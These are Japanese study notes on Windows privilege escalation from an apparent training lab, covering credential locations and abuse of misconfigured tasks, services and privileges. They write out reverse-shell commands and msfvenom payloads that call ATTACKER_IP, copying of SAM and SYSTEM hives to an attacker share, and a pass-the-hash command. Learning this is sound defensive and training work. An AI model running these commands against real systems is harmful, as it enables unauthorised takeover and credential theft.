Windows権限昇格
権限昇格にするにあたって使えそうなミス
Windows サービスまたはスケジュールされたタスクの構成ミス
私たちのアカウントに割り当てられた過剰な特権
脆弱なソフトウェア
Windows セキュリティ パッチの欠落
Windowsユーザー
管理者/Administrators
管理者権限を持つユーザーは、管理者グループの一員
システム構成の変更
標準ユーザー
ユーザーグループの一員
権限昇格で使えそうな特別な組み込みアカウント
システム/ローカルシステム
OSが内部タスクを実行するために使うアカウント
ホストの全てのファイルとリソースに完全にアクセスでき、管理者よりもさらに高い権限がある
ローカルサービス
最低権限でWindowsサービスを実行するために使うアカウント
ネットワーク上の匿名接続を使用する
ネットワークサービス
最低権限でWindowsサービスを実行するために使うデフォルトアカウント
コンピュータの資格情報を使用して、ネットワークを介して認証する
パスワードがありそうな場所からの収集
他のユーザーにアクセスする最も簡単な方法は、侵害されたマシンから資格情報を収集すること
資格情報
不注意なユーザーがプレーンテキストに残したり、ブラウザや電子メールなどのソフトウェアに保存など
Windowsでパスワードを探すためのいくつかの既知の場所
無人Windows install (Unattended Windows Installations)
主に企業や組織で、多数のコンピューターに同じ設定で効率的にOSをセットアップする際に使用される
特定の設定ファイル(通常はunattend.xmlと呼ばれる)を使って、インストール中の質問や設定を自動的に回答・構成
ネットワークを介してWondowsを複数の端末にインストールする
このようなインストールでは、最初のセットアップをするために管理者アカウントを使用する必要があり、以下の場所に資格情報が保存される可能性がある
C:\Unattend.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\system32\sysprep.inf
C:\Windows\system32\sysprep\sysprep.xml
こんな感じで
https://scrapbox.io/files/674a56f3c856b9eec85a3c56.png
powershellのhistory
powershellの過去のコマンドのメモリを保持するファイル
ユーザーがコマンドラインの一部として直接パスワードを含むコマンドを実行する場合、cmd.exeから次のコマンドを使用して取得できる
type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
Powershellは、%userprofile%を環境変数として認識しないためこのコマンドはcmd.exe(コマンドプロンプト)からのみ機能する
Powershellからファイルを読み取るためには、%userprofile%を$Env:userprofileに置き換える必要あり
保存されたWindowsの資格情報
Windowsでは他のユーザーの資格情報を使える
資格情報をシステムに保存するオプションもある
このコマンドで保存された資格情報を一覧表示する
cmdkey /list
cmdkey : Windowsに保存された資格情報を操作するためのコマンド。
新しい資格情報を作成、削除、または既存の資格情報を表示
実際のパスワードは表示できないが、試す価値のある資格情報に気づいた場合はrunasコマンドと/savecredオプションが使える
runas /savecred /user:admin cmd.exe
runasコマンド: 別のユーザーアカウントとしてプログラムを実行するためのコマンド
/savecred : パスワードを一度入力すると、それをWindowsに保存し、次回以降は入力せずに実行できるオプション
IIS構成
Internet Information Service : WindowsのインストールのデフォルトのWEBサーバー
IIS上のWebサイトの設定はweb.configというファイルに保存され、データベースまたは構成された認証メカニズムのパスワードを保存できる
IISのインストールされたバージョンに応じて次のいずれかでweb.configを探すことができる
C:\inetpub\wwwroot\web.config
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config
コマンドだとこんな感じ
type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config | findstr connectionString
type C:\inetpub\wwwroot\web.config | findstr connectionString
ソフトウェアからの資格情報の取得 : PuTTY
PuTTY : Windowsシステムで使用されるSSHクライアント
毎回接続のAPらメータを指定する代わりにIP、ユーザ、その他の構成をあとで保存できるセッションを保存する
ユーザーがSSHパスワードを保存することを許可しないが、平文の認証資格情報を含むプロキシ構成を保存する
他の人がその設定ファイルにアクセスできる場合、パスワードなどの情報が簡単に見られてしまうリスクがある
保存されたプロキシ資格情報を取得するには、次のコマンドを使用して、次のレジストリキーでProxyPasswordを検索
reg query HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\ /f "Proxy" /s
Simon TathamはPuTTYの作成者で、パスの一部であり、パスワードを取得するユーザー名ではない
reg query : レジストリを検索するコマンド
/f : 検索する文字列
/s : 再帰的に処理
その他の特権昇格オプション
スケジュールされたプロセス
linuxのcronでプロセスの実行に設定されたユーザーがプロセスを行うのと同様に、windowsでも同じ方法で特権の昇格ができる
スケジュールされたプロセスの一覧を知る
schtasks
指定したサービスに関する詳細情報を取得する
schtasks /query /tn vulntask /fo list /v
多くの情報を取得するが、その中でも見るべきは「実行するタスク(Task to Run)」パラメータと「実行するユーザー(Run as User)」
現在のユーザーが実行するファイルを変更または上書きできる場合、リバーズシェルなどを貼って権限昇格ができる
実行ファイルのファイル権限を確認するにはicaclsコマンドを使う
https://scrapbox.io/files/674ae0d12b8bb2bc47dd27f3.png
( I )の意味
Inherited を意味し、継承されたアクセス許可 であることを表す
この権限が親フォルダーから継承されたということを示す
例えば、c:\tasksフォルダーに設定されたアクセス許可が、その中にあるschtask.batに自動的に適用された場合、この( I )が適用される
( F )の意味
Full Controlを示す
該当ユーザーまたはグループが、このファイルやフォルダーに対してフルコントロールの権限を持っていることを示す
BUILTIN\Administrators:(I)(F)
BUILTIN\Users:(I)(F)
が両方設定されたら、ペイロードに変えられるので権限昇格の可能性あり?
ユーザーグループで書き込み可能で、管理者権限にアクセスできることがわかったらペイロードを叩く
echo c:\tools\nc64.exe -e cmd.exe LOCALHOSI_IP 4444 > C:\tasks\schtask.bat
スケジュールが叩かれるのを待つのは面倒なので、実行する
schtasks /run /tn vulntask
AlwaysInstallElevated(常にElevatedをインストール??)
Windowsの.msiのインストーラーファイルは、インストールするファイルのユーザー特権で実行される
しかし、特権のないアカウントでもユーザー権限より高い権限で実行できるように構成できる
二つのレジストリ値を設定する必要がある
C:\> reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer
C:\> reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer
これらが設定されている場合、msfvenomを使用して、リバースシェルを行う.msiファイルを生成できる
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKING_MACHINE_IP LPORT=LOCAL_PORT -f msi -o malicious.msi
リバースシェルを受け取る
C:\> msiexec /quiet /qn /i C:\Windows\Temp\malicious.msi
サービスの誤設定の乱用
Windowsサービス
windowsサービスは、サービスコントロールマネージャー(SCM)によって管理される
SCMは必要に応じてサービスの状態を管理し、サービスのステータスを確認・構成するプロセス
Windowsマシンの各サービスには、サービスが起動するたびにSCMによって実行される関連する実行可能ファイルがある
サービス実行可能ファイルはSCMと通信できるように特別な機能を実装しているため、実行可能ファイルがサービスとして正常には起動できない
各サービスが実行されるユーザーアカウントも指定される
サービスの構造をより理解するために、sc qcコマンドでapphostsvcサービスの構成を確認
PowerShellには「Set-Content」のエイリアスとして「sc」があるため、PowerShellプロンプトを使用している場合は、サービスを制御するために「sc.exe」を使用する必要があります。
https://scrapbox.io/files/674aeb17a5e0372c011fde1b.png
BINARY_PATH_NAME : 関連する実行可能ファイル
SERVICE_START_NAME : サービスを実行するために使用されるアカウント
サービスには他の特権の中でもサービスのかいし、停止、一時停止、クエリステータス、クエリ設定、または再構成の権限を持つ人を示すDiscretionary Access Control List(任意アクセス制御リスト : DACL)がある
DACL はm、Process Hacker(Windowsのアプリ名)から確認できる
DACL : icaclsコマンドで確認できる複数のACEのリスト
ACE : Access Control Entry アクセス制御エントリ
各ACEは1つのユーザーまたはグループに対する特定のアクセス許可(または拒否)を記述している
例: UserA: Read, Write や UserB: Deny Delete
許可と拒否
DACLでは、特定のユーザーやグループにアクセスを**許可(Allow)または拒否(Deny)**するACEを定義
Windowsでは「拒否」のエントリが「許可」のエントリより優先される
所有者(Owner)
オブジェクトの所有者はDACLを変更する特別な権限を持っている
上ではWindowsサービスの実行バイナリをリバースシェルに書き換えることで、この所有者の権限を不正に持っていた
全てのサービスの構成はHKLM\SYSTEM\CurrentControlSet\Services\のレジストリに保存される
レジストリエディタでHKLM\SYSTEM\CurrentControlSet\Services\を開いてみる
https://tryhackme-images.s3.amazonaws.com/user-uploads/5ed5961c6276df568891c3ea/room-content/06c05c134e4922ec8ff8d9b56382c58f.png
システム内の全ての全てのサービスにサブキーが存在する
ImagePath値に関連づけられた実行かb脳ファイルとObjectName値にサービスの開始に使用されたアカウントがある
デフォルトでは、管理者のみがレジストリエントリを変更できる
サービス実行可能ファイルの安全でない権限
サービスに関連づけられた実行ファイルに攻撃者が変更・置き換えることのできる弱い権限がある場合、攻撃者はサービスアカウントの特権を簡単に取得できる
例:Splinterware System Schedulerで見つかった脆弱性
まず、scを利用してサービス構成を確認する
sc qc WindowsScheduler
SERVICE_START_NAMEの結果から、svcuser1として実行されること
サービスに関連づけられた実行可能ファイルは、C:Progra~2\SYSTEM~1\WService.exeにあることがわかる
実行可能ファイルの権限を確認する
icacls C:Progra~2\SYSTEM~1\WService.exe
https://scrapbox.io/files/674b07eb8fe762302c21651c.png
注目すべきは、EveryOne : (I)(M)
(M)は、変更権限あり。つまり好みのペイロードで上書きするだけで、設定されたユーザーアカウントの権限でサービスが実行される
ペイロードの作成とwindowsへの送信
msfvenomでのexe-serviceペイロードの作成
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4445 -f exe-service -o rev-svc.exe
攻撃者側でhttpサーバーを立てて、やられ側で作ったexeをダウンロードする
python3 -m http.server
wget http://ATTACKER_IP:8000/rev-svc.exe -O rev-svc.exe
サービス実行可能ファイルをペイロードに置き換える
今回脆弱性があるWService.exeは、WService.exe.bkpに置き換える
C:\PROGRA~2\SYSTEM~1> move WService.exe WService.exe.bkp
さっきmsfvenomで作ったペイロードのexeをWService.exeに名前を変える
C:\PROGRA~2\SYSTEM~1> move C:\Users\thm-unpriv\rev-svc.exe WService.exe
今の権限のまま、ペイロードを実行するには別のユーザーが必要になるためEveryoneグループに完全な権限(F)を付与して、みんなが実行可能にする
( F ): Full Control(フルコントロール)
C:\PROGRA~2\SYSTEM~1> icacls WService.exe /grant Everyone:F
ペイロードを実行するためにサービスを再起動する
C:\> sc stop windowsscheduler
C:\> sc start windowsscheduler
"引用"されていないサービスパス
上のようにサービス実行可能ファイルに直接書き込むことができない場合でも、曖昧な機能を利用してサービスに任意の実行可能ファイルを実行するチャンスがまだある!
Windowsサービスでサービスが「引用なし」の実行ファイルを指すように設定している場合、非常に特殊な動作が発生する
引用符なしとは、関連する実行可能ファイルのパスがコマンドのスペースがあるのに適切に「"」で囲まれていないことを意味する
例
SCMは"C:\Program Files\RealVNC\VNC Server\vncserver.exe"を実行する必要がある
正しいバージョン
https://scrapbox.io/files/674b1653668af123fdb31341.png
BINARY_PATH_NAMEに設定されている実行ファイルのパスに空白が含まれているが、""で囲まれているため、一つのパスとして認識できる
問題があるバージョン
https://scrapbox.io/files/674b1684801b538472dce967.png
BINARY_PATH_NAMEに設定されている実行ファイルのパスに空白が含まれているが、""で囲まれていないため、コマンドが曖昧になって、SCMは次のうちどれを実行しようとしているのかわからない。
実際は、コマンドを送信するとき、スペースは引用符で囲まれた文字列の一部でない限り、引数区切り文字として使用される
なので、""で囲まれていない時、C:\\MyPrograms\\Disk.exeを実行し、残りを引数として取ることを意味する
SCMは、おそらく失敗するのではなく、ユーザーを助けようとし、表に示されている順序で各バイナリの検索を開始する
1. まず、C:\\MyPrograms\\Disk.exeを検索します。存在する場合、サービスはこの実行可能ファイルを実行します。
2. 後者が存在しない場合は、C:\\MyPrograms\\Disk Sorter.exeを検索します。存在する場合、サービスはこの実行可能ファイルを実行します。
3. 後者が存在しない場合、C:\\MyPrograms\\Disk Sorter Enterprise\\bin\\disksrs.exeを検索します。このオプションは成功すると予想され、通常はデフォルトのインストールで実行されます。
これらの行動から、攻撃者が予想されるサービス実行可能ファイルの前に検索される実行可能ファイルのいずれかを作成すると、サービスに任意の実行可能ファイルを実行するように強制できる
通常の動作
サービス実行可能ファイルはデフォルトで以下の場所にインストールされる
C:\Program Files
C:\Program Files (x86)
これらのフォルダは非特権ユーザーが書き込みできない
そのため、脆弱なサービスが悪用されることを防げる
例外的な状況
インストーラーによる権限変更
一部のインストーラーがインストール先フォルダの権限を変更する場合がある
これにより、サービスが脆弱になる可能性がある
非標準パスへのインストール
管理者がサービス実行ファイルをデフォルトではないフォルダにインストールする場合がある
そのフォルダが全ユーザー書き込み可能(world-writable)だと脆弱性が悪用される可能性がある
C:\MyProgramsの権限を調べる
icacls C:\MyProgams
調べてみるとBUTIN\UsersグループにはADとWDの権限があり、ユーザーはそれぞれサブディレクトリとファイルを作成できる
msfvenomでexeサービスペイロードを作成して、ダウンロードからflag.txt取得までの流れはさっきと同じ
安全でないサービス権限
Windowsサービスにおける不適切なDACL設定により、非特権ユーザーが権限昇格を実行できる可能性がある
これにより、必要な実行可能ファイルを指して、SYSTEM自体を含むアカウントで実行できる
サービス DACL とサービス実行可能ファイル DACL の違い
サービス実行可能ファイル DACL
サービスが実行するバイナリファイル(例: C:\Program Files\Service\service.exe)のアクセス権を制御
不適切な設定の場合、非特権ユーザーがバイナリを置き換えることで攻撃可能
サービス DACL
サービスそのもの(例: thmservice)の設定を制御
不適切な設定の場合、非特権ユーザーがサービスの設定を変更し、任意の実行ファイルを指すよう再構成できる
DACL : icaclsコマンドで確認できる複数のACEのリスト
ACE : Access Control Entry アクセス制御エントリ
各ACEは1つのユーザーまたはグループに対する特定のアクセス許可(または拒否)を記述している
例: UserA: Read, Write や UserB: Deny Delete
許可と拒否
DACLでは、特定のユーザーやグループにアクセスを**許可(Allow)または拒否(Deny)**するACEを定義
Windowsでは「拒否」のエントリが「許可」のエントリより優先される
所有者(Owner)
オブジェクトの所有者はDACLを変更する特別な権限を持っている
上ではWindowsサービスの実行バイナリをリバースシェルに書き換えることで、この所有者の権限を不正に持っていた
サービスDACLを確認する
Sysinternals suiteの Accesschk を使用できる
accesschk64.exe -qlc thmservice
-q: サイレントモード(詳細な進行状況を表示しない)
-l: オブジェクトのセキュリティ情報(DACL)を表示
-c: サービスオブジェクトに適用
出力例:
https://scrapbox.io/files/674b22989511b24395181483.png
SYSTEM
サービスに関するすべての操作が可能
BUILTIN\Users
SERVICE_ALL_ACCESS(すべての操作が許可される権限)が付与されている
問題:
BUILTIN\Users に SERVICE_ALL_ACCESS 権限が付与されている
非特権ユーザー(Usersグループ)がサービスの構成を変更可能
サービスのバイナリパスを任意の実行ファイルに変更可能
msfvenomでのexe-serviceペイロードの作成(以後省略: ~ダウンロード)
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4447 -f exe-service -o rev-svc3.exe
ペイロードを実行する権限をEveryoneに付与
icacls C:\Users\thm-unpriv\rev-svc3.exe /grant Everyone:F
非特権ユーザーがサービスのバイナリパスを変更
sc config THMService binPath= "C:\Users\thm-unpriv\rev-svc3.exe" obj= LocalSystem
サービスの構成を変更を確認
sc qc thmservice
https://scrapbox.io/files/674b25ec08ea1ca8d9519988.png
きちんと変更されていることが確認できた
LocalSystemが行うから、ホストの全てのファイルとリソースに完全にアクセスでき、管理者よりもさらに高い権限がある
サービスの再起動
C:\> sc stop THMService
C:\> sc start THMService
脆弱性の悪用方法
サービス構成の変更
非特権ユーザーが以下のようなコマンドでサービスのバイナリパスを変更可能:
結果:
サービスが高権限(SYSTEM)で実行されるため、攻撃コードがその権限で動作
Windows の特権
各ユーザーに割り当てられた権限を確認できるコマンド
whoami /priv
windowsで利用可能な特権のリスト
攻撃者の観点からはシステムでエスカレーションできる特権のみに関心がある
Githubプロジェクトでは、悪用可能な特権の包括的なリスト
最も一般的な特権のいくつかを悪用する方法
SeBackup
SeRestore
権限の名前
ユーザーはシステム内の任意のファイルを読み書きでき、DACLは無視できる
この特権では、特定のユーザーが完全な管理特権を必要とせずにシステムからバックアップを実行できるようにすること
この権限があれば、攻撃者はさまざまな手法を使用してシステムの特権を軽微にエスカレートすることができる
この権限を使用するには、「管理者として開く」オプションを使用してコマンドプロンプトを開く必要がある
実践
現在のユーザーに割り当てられている特権を確認する
whoami /priv
SeChangeNotifyPrivilegeが有効になっている
SAMとSYSTEMレジストリのハイブをコピーして、ローカル管理者のパスワードハッシュを抽出する
reg save hklm\system C:\Users\THMBackup\system.hive
reg save hklm\sam C:\Users\THMBackup\sam.hive
作ったレジストリハイブを含むファイルを攻撃者マシンにコピーするには、SMBなど様々考えられるがここではSMBを用いる
SMBを使用する場合は、kalilinuxの方でImpacketのsmbserver.pyを利用して、AttackBoxの現在のディレクトリでネットワーク共有を持つシンプルなSMBサーバーを起動する
mkdir share
python3.9 /opt/impacket/examples/smbserver.py -smb2support -username THMBackup -password CopyMaster555 public share
これによりshareディレクトリを指すpublicという名前の共有フォルダが作成される
この共有をするには今のWindowsのユーザー名とパスワードが必要
windowsマシンでcopyコマンドで両方のファイルをAttackBoxに転送する
C:\> copy C:\Users\THMBackup\sam.hive \\ATTACKER_IP\public\
C:\> copy C:\Users\THMBackup\system.hive \\ATTACKER_IP\public\
Attackboxで、impacketを使用して、ユーザー(Administrator)のパスワードハッシュを取得
python3.9 /opt/impacket/examples/secretsdump.py -sam sam.hive -system system.hive LOCAL
https://scrapbox.io/files/674bc602bedab1ec3567144d.png
管理者のハッシュを使用して、パス・ザ・ハッシュ攻撃を実行し、システム権限を持つターゲットマシンにアクセス
python3.9 /opt/impacket/examples/psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:8f81ee5558e2d1205a84d07b0e3b34f5 administrator@10.10.225.82
https://scrapbox.io/files/674bc65787848e0c8d3b17b4.png
SeTakeOwnership
SeTakeOwnership特権を持つユーザーはファイルやレジストリキーを含むシステム上のオブジェクトの所有権を取得できる
SYSTEMとして
小技
WindowsにRDP経由でターゲットマシンにログインする
xfreerdp /u:<ユーザー名> /p:<パスワード> /v:<ターゲットIP>